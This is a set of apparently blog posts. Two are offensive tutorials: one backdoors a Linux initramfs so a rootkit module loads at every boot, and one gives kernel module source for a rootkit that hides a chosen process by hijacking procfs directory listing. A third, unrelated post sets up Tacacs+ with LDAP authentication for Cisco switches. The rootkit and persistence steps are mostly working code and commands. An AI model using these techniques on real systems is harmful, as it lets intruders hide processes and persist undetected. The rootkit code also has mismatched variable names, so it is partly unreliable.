In the last post I explained how to hide Linux processes with an LKM rootkit. As you might know, Linux kernel modules are not persistent; that means that you have to insert your module each time your system goes through a reboot.

“But how the heck do I have modules loaded at startup ? Is lsmod bullshitting me ?” you might be asking.

The short answer: “initramfs”

The long answer is, well, longer and needs some explanations first.

Before I explain the intricacies of how we can use initramfs to load our rootkit at startup, let’s have a look at the system boot process :

The linux boot process can be summarized in 5 stages :

• UEFI/BIOS: The first program that runs when you hit the power button. It ensures that the necessary hardware (keyboard, RAM…) for bootup is present, initializes the hardware and executes the boot code from the configured boot device (say your SSD or live USB)
• The bootloader (can be GRUB as shown in the diagram, or something different) presents to the user multiple entries to choose from. Each entry is associated with a different OS or OS boot mode. Once an option is chosen, the bootloader locates the partition where the kernel is (/boot for Linux), loads the kernel in memory (eventually supply options) and then fires it up.
• Linux sets up system functions, calls the start_kernel() function which initializes, among others, interrupts, MMU, devices…
• Here comes initramfs. To break it down, initramfs is just a compressed archive containing the initial filesystem that will be mounted in memory (yeah, initramfs is for initial ram filesystem). At the root of this filesystem lays an executable shell script named init and whose job is to go through all the steps to mount the real filesystem (the one you have on your system right now as you read this article). In order to mount your real (final) filesystem, it should be known by the kernel (otherwise the kernel wouldn’t know how to deal with it). Since there is a s**tload of available filesystems and that Linux couldn’t possibly know all of them, these filesystems come in the form of kernel modules. Therefore, initramfs comes with kernel modules (for filesystems, device drivers and other stuff) that get inserted in the kernel in the process (if the kernel was not compiled statically).
• Once the filesystem has been mounted, the init system (e.g systemd) takes control and launches the necessary applications/daemons to give you the greatest possible user-space experience !

If you wish to have more details about the bootup process, I recommend these awesome articles (here and here) by Gustavo Duartes. He has a lot of worthwhile and well explained articles that you might find very interesting.

** The next steps have been tested on a box with ArchLinux installed **

Now that we know how the computer boots up and that initramfs can load kernel modules, let’s see how this archive looks like. First we will decompress and dearchive initramfs :

$ mkdir /tmp/backdoored_initramfs && cd /tmp/backdoored_initramfs
$ lsinitcpio -x /boot/initramfs-linux.img
$ ls -Al
total 32
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 bin -> usr/bin
-rw-r--r-- 1 nisay nisay  2495 7 avril 10:40 buildconfig
-rw-r--r-- 1 nisay nisay    78 7 avril 10:40 config
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 dev
drwxr-xr-x 4 nisay nisay   180 7 avril 10:40 etc
drwxr-xr-x 2 nisay nisay    80 7 avril 10:40 hooks
-rwxr-xr-x 1 nisay nisay  2093 7 avril 10:40 init
-rw-r--r-- 1 nisay nisay 13140 7 avril 10:40 init_functions
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 lib -> usr/lib
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 lib64 -> usr/lib
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 new_root
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 proc
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 run
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 sbin -> usr/bin
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 sys
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 tmp
drwxr-xr-x 5 nisay nisay   140 7 avril 10:40 usr
-rw-r--r-- 1 nisay nisay     2 7 avril 10:40 VERSION

The listing shows the structure of the initial filesystem. The new_root directory is the root where your new filesystem will be mounted, and to which the init script will switch_root into.

As we said earlier, the init script is the first thing that gets launched in userspace, and we are going to take advantage of this fact to load our rootkit as early as possible. But first, we need to make our LKM module available for the init script. In this example, we’re going to use the PHide rootkit, a dummy rootkit that hides process id 1, which is perfectly fine for the sake of demo.

Compile the rootkit, and place the kernel module at the root of the initramfs archive :

$ make && cp phide.ko /tmp/backdoored_initramfs

Next, open the init script in your text editor, and scroll down to the end. Near line 70, you should see the following lines :

# this should always be the last thing we do before the switch_root
rdlogger_stop

exec env -i \
    "TERM=$TERM" \
    /usr/bin/switch_root /new_root $init "$@"

switch_root changes the root of the filesystem, so we should insert our rootkit before calling it, otherwise our rootkit module that we copied at the root of the initramfs won’t be available anymore. Add this line before the comment :

insmod /phide.ko

# this should always be the last thing we do before the switch_root

This should do it. Note that the man page for switch_root states that it “moves already mounted /proc, /dev, /sys and /run to newroot”. We can also copy our rootkit module to /dev or /run in order to make it available after switch_root has been executed, but we’ll need to hook some userland scripts to actually insert our rootkit (e.g. systemd init scripts).

In case of a disk encryption, you’ll probably only have access to the /boot partition, so the first method is more suitable and we’ll stick to it.

Next, we need to reassemble the contents of our folder into an initramfs image :

$ find -mindepth 1 -printf '%P\0' | LANG=C bsdcpio -0 -o -H newc --quiet | gzip > /tmp/rk.img

The options passed to the find command may differ on your system. To find out which options to pass, refer to /usr/bin/mkinitcpio : Around line 232, you’ll see a call to the find command with the options needed to build a working initramfs for your system.

Once the backdoored initramfs image has been generated, all what is left to do is overwrite the original initramfs archive :

$ cp /tmp/rk.img /boot/initramfs-linux.img

Reboot and check the content of /proc, the folder associated with PID 1 should be gone. You can confirm that the rootkit is inserted by issuing :

$ lsmod | grep phide

And that’s it. Now your rootkit gets loaded every time you reboot your system :D

I’ve recently been interested in Linux rootkits, and it turns out that behind that sexy name lay simple C programs. Being curious, I started looking for publicly available rootkits and tried to compile them to see how they work: Too bad ! Most of the rootkits I came across were written for Linux versions 2.x and 3.x, and I am running version 4.8 … That meant that the code and data structures changed heavily since then, and there was little to no documentation on the subject !! So I digged through the sources of the Linux kernel and tried to figure out how things worked.

In this article I’ll explain how you can write a rootkit that hides processes for, you know, fun and profit !

Before we start, I suppose that you’re familiar with writing LKM modules. If not, I highly recommend that you read these excellent articles here and here. I also suppose that you know what a Virtual FileSystem is. If it’s all good, we can start our dive into the depths of the Linux kernel.

Ever heard of procfs ? Well, to keep it simple, it is a special filesystem. This means that this filesystem is not associated with any block device and lays exclusively in memory. As its name suggests, this filesystem exports information about processes to the user-land so it can be used by programs such as ps and top. You don’t believe me ? Here, take a look :

[...]
open("/proc", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 5
[...]
getdents(5, /* 271 entries */, 32768)   = 7432
[...]
stat("/proc/17122", {st_mode=S_IFDIR|0555,st_size=0, ...}) = 0
open("/proc/17122/stat", O_RDONLY)      = 6
read(6, "17122 (kworker/u16:2) S 2 0 0 0 "..., 2048) = 169
close(6)
[...]

strace tells us that ps opens /proc to list its content with the getdents(3) syscall. Once that is done, process-specific information is retrieved using the read(3) syscall on /proc/$PID/stat. Keep that in mind, we’ll get back to it soon.

Entries in procfs are represented by a memory structure called proc_dir_entry, and we can find its definition in fs/proc/internal.h in the Linux kernel source tree :

struct proc_dir_entry {
        unsigned int low_ino;
        umode_t mode;
        nlink_t nlink;
        kuid_t uid;
        kgid_t gid;
        loff_t size;
        const struct inode_operations *proc_iops;
        const struct file_operations *proc_fops;
        struct proc_dir_entry *parent;
        struct rb_root subdir;
        struct rb_node subdir_node;
        void *data;
        atomic_t count;         /* use count */
        atomic_t in_use;        /* number of callers into module in progress; */
                        /* negative -> it's going away RSN */
        struct completion *pde_unload_completion;
        struct list_head pde_openers;   /* who did ->open, but not ->release */
        spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
        u8 namelen;
        char name[];
};

There’s one interesting field here: struct file_operations *proc_fops. This structure holds pointers to functions that are called when specific operations are to be executed on a proc_dir_entry structure, like listing the contents of /proc. The source file fs/proc/generic.c defines the default behavior of the kernel when it comes to procfs entries :

static const struct file_operations proc_dir_operations = {
        .llseek                 = generic_file_llseek,
        .read                   = generic_read_dir,
        .iterate_shared         = proc_readdir,
};

So far so good. Remember the getdents function that we mentioned earlier ? If we take a look at its definition in fs/readdir.c, we see that it calls the iterate_dir function, which in turn calls the iterate_shared function at some point :

SYSCALL_DEFINE3(getdents, unsigned int, fd,
                struct linux_dirent __user *, dirent, unsigned int, count)
{
        [...]
        error = iterate_dir(f.file, &buf.ctx);
        [...]
}

The prototype of the iterate_shared function is as following :

int iterate_shared(struct file *, struct dir_context *);

The function takes as a second parameter a pointer to a struct dir_context, which is defined in include/linux/fs.h :

struct dir_context {
        const filldir_t actor;
        loff_t pos;
};

The filldir_t type is nothing but a typedef of a function pointer :

typedef int (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64, unsigned);

This is the function that actually fetches, formats and prints stuff to the user-land. At first, it seems a little weird having the output function passed as a parameter to iterate_shared, but it makes sense when you think that we may need to have different outputs given the context (which is why the structure is called dir_context, I guess).

Let’s review all the things we dicussed till now (no more Linux source code excerpts from here on, promise) :

• A program, let’s say ls, issues the getdents syscall when listing /proc
• The getdents syscall function calls the iterate_shared of the VFS
• iterate_shared calls a filldir_t function contained in the dir_context passed in its parameters.
• The filldir_t function does its magic, and send the output to the user-land.

Our main goal is to hijack the iterate_shared function in order not to show our evil process. Since the filldir_t function is the one responsible for outputting stuff to the user-land, we have to define our own evil function (which will return 0 if the second parameter is the string containing the pid we want to hide), put it in a struct dir_context, and feed it to the original iterated_shared function. All of this will be done by our evil iterated_shared function.

The illustration below summarizes what our rootkit will be doing :

Of course, we need to backup the data structures we are going to hijack in order to restore the initial state of the system when we unload our rootkit :

• When loading the rootkit :

1. Fetch the proc_dir_entry we want to hijack
2. Make a copy of the associated file_operations (backup)
3. Make a second copy (evil file_ops)
4. Overwrite the iterate_shared function in evil file_ops
5. Overwrite the proc_dir_entry’s file_opertations structure with evil file_ops

• When unloading the rootkit :

1. Fetch the proc_dir_entry we want to restore
2. Replace its file_operations with the backup

Easy, isn’t it ? Let’s start with the part where we backup and hijack stuff :

static struct file_operations backup_fops;
static struct file_operations new_fops;
static struct inode proc_inode;

int (*backup_iterate_shared) (struct file *, struct dir_context *);

static int __init phide_init(void)
{
    pr_info("PHide: LKM succefully loaded!\n");
    /* fetch the procfs entry */
    struct path p;

    if(kern_path("/proc", 0, &p))
        return 0;

    /* get the inode*/
    proc_inode = p.dentry->d_inode;

    /* get a copy of file_operations from inode */
    proc_fops = *proc_inode->i_fop;
    /* backup the file_operations */
    backup_proc_fops = proc_inode->i_fop;
    /* modify the copy with out evil function */
    proc_fops.iterate_shared = rk_iterate_shared;
    /* overwrite the proc entry's file_operations */
    proc_inode->i_fop = &proc_fops;

    return 0;
}

static void __exit phide_exit(void)
{
    /* fetch the proc entry */
    struct path p;

    if(kern_path("/proc", 0, &p))
        return;

    /* get inode and restore file_operations */
    proc_inode = p.dentry->d_inode;
    proc_inode->i_fop = backup_proc_fops;

    pr_info("PHide: LKM succefully unloaded!\n");
}

Now to the fun part :

static char *proc_to_hide = "1337";
static struct dir_context *backup_ctx;

static int rk_filldir_t(struct dir_context *ctx, const char *proc_name, int len,
        loff_t off, u64 ino, unsigned int d_type)
{
    if (strncmp(proc_name, proc_to_hide, strlen(proc_to_hide)) == 0)
        return 0;

    return backup_ctx->actor(backup_ctx, proc_name, len, off, ino, d_type);
}

struct dir_context rk_ctx = {
    .actor = rk_filldir_t,
};

int rk_iterate_shared(struct file *file, struct dir_context *ctx)
{
    int result = 0;
    rk_ctx.pos = ctx->pos;
    backup_ctx = ctx;
    result = backup_proc_fops->iterate_shared(file, &rk_ctx);
    ctx->pos = rk_ctx.pos;

    return result;
}

So our rk_iterate_shared function simply backs up the original context, replaces it with our customized context rk_ctx, and calls the original iterate_shared with the new context.

The rk_iterate_shared function simply compares its second parameter with the value stored in the proc_to_hide variable. If they match (in this case: if it’s pid 1337), the function returns 0, and if not, the original filldir_t function is called so that other processes can still be visible to the user.

This is it. It’s all you need to hide processes from kernel-land. Of course, this is a dummy rootkit, so you have to adapt it to fit your own needs ;) You can find the complete source code in my github repo.

Working with multiple network equipments is a task that every network administrator have faced, and if you are one yourself, you are probably convinced by now that using multiple or a single password isn’t the brightest idea.

Tacacs+ is a proprietary protocol developed by Cisco to ensure the AAA functions: Authentication, Authorization and Accounting. I won’t go through the details of the protocol as it’s not the purpose of this guide, but if you want to know more about it, you can find interesting links at the end of this article.

When you intend to use Tacacs+, it is probably because you want to centralize the access to your Cisco equipments and keep track of who’s doing what. You probably already have an existing LDAP server that holds users’ infos, and you want people to connect to the network equipments using their credentials. If my assumptions are true, then this guide is made for you ;)

What you need to know

Before we dive into some technical stuff, I’d like to share with you some points that you have to consider and that will save you a lot of time and headaches.

Setting up Tacacs+ as an authentication method to access your Cisco box means that you’ll push some configuration lines into it. Never save your modifications unless you make sure the new authentication method is fully functionnal !

This guide was done on a Debian 8 (Jessie) machine, so I guess you are comfortable with the CLI and the GNU/Linux environment. I also assume that you have a functional OpenLDAP server and a Cisco box (switch or router).

I tested this configuration on a Cisco 2960S on IOS 12.2(55)SE3, a Cisco 3750 on IOS 12.2(55)SE10 and a Cisco 3560 on IOS 15.0(2)SE8 and it worked like a charm. However, I encountered some issues with a Cisco 2960 on IOS 15.0(2)SE3 and others models which made the switches unavailable: When setting up Tacacs+ authentication on the switch, a process under the name of TPLUS launches and uses all the CPU available, making it impossible to log in again to the switch unless you reboot it. I suspect the version of IOS being unadapted to the hardware, but it could be something else. So be cautious and never “write mem” unless you test the new authentication method.

What we’ll be doing

Tacacs+ doesn’t support LDAP authentication by default, but it does support PAM authentication. I see you nodding there: Yes, we’ll use PAM to connect to our LDAP server 🙂 Here’s a little diagram that summarizes what we’ll be setting up (behold my designer skills):

Another issue with Tacacs+ is that it can’t fetch users’ groups. The solution shown above verifies that the login-password association exists in a valid LDAP entry, but you’ll still have to manually declare groups and users in Tacacs’ configuration file. This is where the tricky part of this guide comes in: We’ll use a bash script that will periodically check for members of a certain LDAP group and update Tacacs’ configuration file accordingly. This way all you have to do is to configure Tacacs’ server and then forget it (well you still have to maintain the server, but no further Tacacs configuration is needed): Access management will be done via the LDAP server.

Let’s do it

On the LDAP

On your LDAP server, all you have to do is create a new group, let’s say “cisco-enable” and add users who should get access to the network equipments in it.

On the Tacacs+ server

Before you get started you should consider a number of security issues. Since every person with the right privileges on the Tacacs+ server can gain access to all the network equipments, you should define a strict policy regarding who is gonna have the right on which file. In my case, I limited the access to the Tacacs+ server to root with a SSH public-key authentication, and no users other than root can connect to the machine.

First thing we are going to do is install libnss-ldap and libpam-ldap packages:

root@tacacs:~$ apt-get install libnss-ldap libpam-ldap

You will be prompted to configure the libnss-ldap package. Enter the informations needed to connect and fetch data from your LDAP server. Make sure to specify a basedn from which your Tacacs+ server can get both users and groups. If you want to restart the configuration of the package:

root@tacacs:~$ dpkg-reconfigure libnss-ldap

Once the installation is complete, open up /etc/nsswitch.conf in your text editor. I personally use vim:

root@tacacs:~$ vim /etc/nsswitch.conf

Substitute compat with files ldap:

:%s/compat/files ldap/g

Your file should now contain these three lines:

passwd:         files ldap
group:          files ldap
shadow:         files ldap

Restart the nscd daemon to see the effect of your modifications:

root@tacacs:~$ /etc/init.d/nscd restart

Now you can query groups ans users from the ldap using these commands:

root@tacacs:~$ getent passwd
root@tacacs:~$ getent group

If I want the list of the users that are in the “cisco-enable” group, I will get the following result:

root@tacacs:~$ getent group cisco-enable
cisco-enable:*:1004:nisay,foo1,foo2,foo3

We will use the result of this command later in our bash script. Now we configure our PAM module:

root@tacacs:~$ cd /etc/pam.d/

4 files are to be modified: common-account, common-auth, common-password and common-session. Your files should look like this:

• common-account

account	sufficient	pam_ldap.so
account	required	pam_unix.so

• common-auth

auth	sufficient	pam_ldap.so
auth	required	pam_unix.so nullok_secure use_first_pass

• common-password

password	sufficient	pam_ldap.so
password	required	pam_unix.so nullok obscure min=4 max=8 md5

• common-session

session	sufficient	pam_ldap.so
session	required	pam_unix.so

Now we have to make sure that only authorized users can login to the machine:

root@tacacs:~$ mkdir /root/.ssh
root@tacacs:~$ vim /root/.ssh/authorized_keys

And copy-paste your ssh public-key in this file. Now we tune the ssh daemon so that only root login with public key is permitted:

root@tacacs:~$ vim /etc/ssh/sshd_config

Search for lines containing PermitRootLogin and PasswordAuthentication and set them like this:

PermitRootLogin without-password
PasswordAuthentication no

And reload the ssh deamon:

root@tacacs:~$ /etc/init.d/ssh reload

Now we install tacacs+ package:

root@tacacs:~$ apt-get install tacacs+

We won’t configure Tacacs+ as our script will do the job for us. However we need to create a template configuration file to which our script will append the list of the users:

root@tacacs:~$ vim /etc/tacacs_template.conf

Your file should look like this:

accounting file = /var/log/tacacs.log

key = testing123

group = enable {
 login = PAM
 service = exec {
 priv-lvl = 15
 }
}

• accounting file: The file that will contain the users logs
• key: The key that will be used to secure the communication between your Tacacs+ server and network equipments. Choose some complex key.
• group: The group to which the users will belong. The PAM module will be used for the login, and users will connect in enable mode.

We have arrived to the exciting part: The bash script. Copy the following lines in a new file, let’s say /opt/sync_users.sh

#!/bin/sh
/etc/init.d/nscd restart

if test -d /tmp/tacacs; then
 test -e /tmp/tacacs/users.txt && rm /tmp/tacacs/users.txt
else
 mkdir /tmp/tacacs
 chmod 600 /tmp/tacacs
fi

usersNumber=$(getent group cisco-enable | cut -d':' -f4 | sed s/,/"\n"/g | wc -l)

for i in $(seq $usersNumber); do
 user=$(getent group cisco-enable | cut -d':' -f4 | cut -d',' -f$i)
 echo "user = $user {\n\tmember = enable\n}\n" >> /tmp/tacacs/users.txt
done

cat /etc/tacacs_template.conf /tmp/tacacs/users.txt > /tmp/tacacs/tac_plus.new

if diff /tmp/tacacs/tac_plus.new /etc/tacacs+/tac_plus.conf; then
 exit 0
else
 cp /tmp/tacacs/tac_plus.new /etc/tacacs+/tac_plus.conf
 /etc/init.d/tacacs_plus reload
fi

In the lines from 1 to 11 we restart the nscd daemon and check if the /tmp/tacacs folder exists. If so we remove the file users.txt if it exists. Otherwise, we create the folder and give all rights to root on it.

Remember the getent group cisco-enable command ? We use that in line 13 to count the number of users in cisco-enable group.

For each user, we add an entry in /tmp/tacacs/users.txt file (lines 15 to 19). For user nisay, we add these lines:

user = nisay {
    member = enable
}

We concatenate the users.txt files to our /etc/tacacs_template.conf and write the output in /tmp/tacacs/tac_plus.new

We overwrite the /etc/tacacs+/tac_plus.conf with the tac_plus.new file if they are different and reload the Tacacs daemon (lines 23 to 29)

Last step (hang on, we’re almost done) is to edit the crontab so that the script is launched every 5 minutes (or every whatever you want). Add this to the end of /etc/crontab :

*/5 * * * * root /opt/users_sync.sh

On the router/switch

All what is left to do is connect to your Cisco box, and type in these commands:

switch>enable
Password:
switch#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
switch(config)#aaa new-model
switch(config)#aaa authentication login default group tacacs+ local
switch(config)#aaa authorization exec default group tacacs+ if-authenticated
switch(config)#aaa accounting exec default start-stop group tacacs+
switch(config)#aaa accounting commands 1 default start-stop group tacacs+
switch(config)#aaa accounting commands 15 default start-stop group tacacs+
switch(config)#aaa accounting network default start-stop group tacacs+
switch(config)#aaa accounting system default start-stop group tacacs+
switch(config)#tacacs-server host 192.168.1.254 key testing123

I won’t explain in details the commands above, but I refer you to the links at the end where it is discussed thoroughly. To summarize, I told my switch to refer to my Tacacs+ server to do the authentication and authorization, and to use the local database if Tacacs+ is not available. The accounting is also sent to the Tacacs+ server.

The reason why I left the tacacs-server host 192.168.1.254 testing123 command for the end is because it’s a little tricky. It depends on the version of IOS you have on your Cisco box. Newer version of IOS will tell you that the command will be deprecated soon, and it will advise you to use tacacs server syntax instead. If so, negate the last command and use theses commands instead:

switch(config)#no tacacs-server host 192.168.1.254 key testing123
switch(config)#tacacs server myTacacsServerName
switch(config-tacacs)#address ipv4 192.168.1.254
switch(config-tacacs)#key 0 testing123

The 0 in the last command is just to specify that the password will be typed in clear.

With that done, you should be able to login to your Cisco box using your LDAP credentials. Don’t logout of your current session yet, fire up a new terminal and try to connect to your network equipment using the new authentication method. If something goes bad, you can still revert the changes you’ve made.

There you go, you now have a fully functional Tacacs+ server with LDAP authentication.

Links

• https://help.ubuntu.com/community/SunLDAPClientAuthentication
• http://www.sans.org/reading-room/whitepapers/networkdevs/understanding-implementing-tacacs-plus-117
• https://networklessons.com/linux/how-to-install-tacacs-on-linux-centos/
• http://www.cisco.com/c/en/us/support/docs/security-vpn/terminal-access-controller-access-control-system-tacacs-/10384-security.html